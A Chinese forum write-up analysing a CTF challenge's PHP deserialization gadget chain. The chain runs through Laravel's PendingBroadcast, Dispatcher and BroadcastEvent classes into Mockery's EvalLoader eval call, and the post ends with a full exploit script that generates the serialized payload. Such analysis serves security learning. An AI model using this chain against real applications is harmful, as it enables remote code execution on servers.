昨天p牛在小密圈发布了Code-Breaking 2018 lumenserial题目的官方反序列化payload,在这里简单分析一下。

首先入口点利用的依然是类Illuminate\Broadcasting\PendingBroadcast__destruct方法。

接着调用的是类Illuminate\Bus\Dispatcherdispatch方法

这里需要进入$this->dispatchToQueue,因此需要满足if条件,第一个条件就不用说了,跟进$this->commandShouldBeQueued

需要$command也就是$this->event实现了ShouldQueue接口。
我们可以通过全局搜索来找,具体使用哪个类可能还需要根据后面的利用条件来选择,p牛这里用的是Illuminate\Broadcasting\BroadcastEvent

继续跟进$this->dispatchToQueue($command),可以看到这里有一个任意方法调用。方法可控,参数$connection等于$command->connection

这里p牛利用的是类Mockery\Loader\EvalLoaderload方法

可以看到下面的eval可以利用,但我们需要先绕过if条件,也就是让class_exists($definition->getClassName(), false)返回false。这里的$definition也就是$this->event->connection的类型必须是Mockery\Generator\MockDefinition类的对象。

<?php
namespace Mockery\Generator;

class MockDefinition
{
    protected $config;
    protected $code;

    public function __construct(MockConfiguration $config, $code)
    {
        if (!$config->getName()) {
            throw new \InvalidArgumentException("MockConfiguration must contain a name");
        }
        $this->config = $config;
        $this->code = $code;
    }

    public function getConfig()
    {
        return $this->config;
    }

    public function getClassName()
    {
        return $this->config->getName();
    }

    public function getCode()
    {
        return $this->code;
    }
}

这里的getClassName方法返回的是$this->config->getName(),我们只需要找到一个含有getName方法且返回值可控的类,让其返回一个不存在的类名即可。
Mockery\Generator\MockConfiguration

最后进入eval("?>" . $definition->getCode());,getCode的返回值我们依然可控。

最终实现任意代码执行。

exp:

<?php
namespace Illuminate\Broadcasting{
  class PendingBroadcast
  {
    protected $event;
    protected $events;

    public function __construct($events,$event)
    {
      $this->events = $events;
      $this->event = $event;
    }
  }
}

namespace Illuminate\Bus{
  class Dispatcher
  {
    protected $queueResolver;

    public function __construct($queueResolver)
    {
      $this->queueResolver = $queueResolver;
    }
  }
}

namespace Illuminate\Broadcasting{
  class BroadcastEvent
  {
    public $connection;

    public function __construct($connection)
    {
      $this->connection = $connection;
    }
  }
}


namespace Mockery\Generator{
  class MockDefinition
  {
    protected $config;
    protected $code = '<?php phpinfo();?>';

    public function __construct($config)
    {
      $this->config = $config;
    }
  }
}

namespace Mockery\Generator{
  class MockConfiguration
  {
    protected $name = '1234';
  }
}

namespace Mockery\Loader{
  class EvalLoader
  {
     public function load(MockDefinition $definition)
     {

     }
  }
}

namespace{
  $Mockery = new Mockery\Loader\EvalLoader();
  $queueResolver = array($Mockery, "load");
  $MockConfiguration = new Mockery\Generator\MockConfiguration();
  $MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
  $BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
  $Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
  $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher,$BroadcastEvent);
  echo urlencode(serialize($PendingBroadcast));
}
?>

ps: phpstorm真香

点击收藏 | 0 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖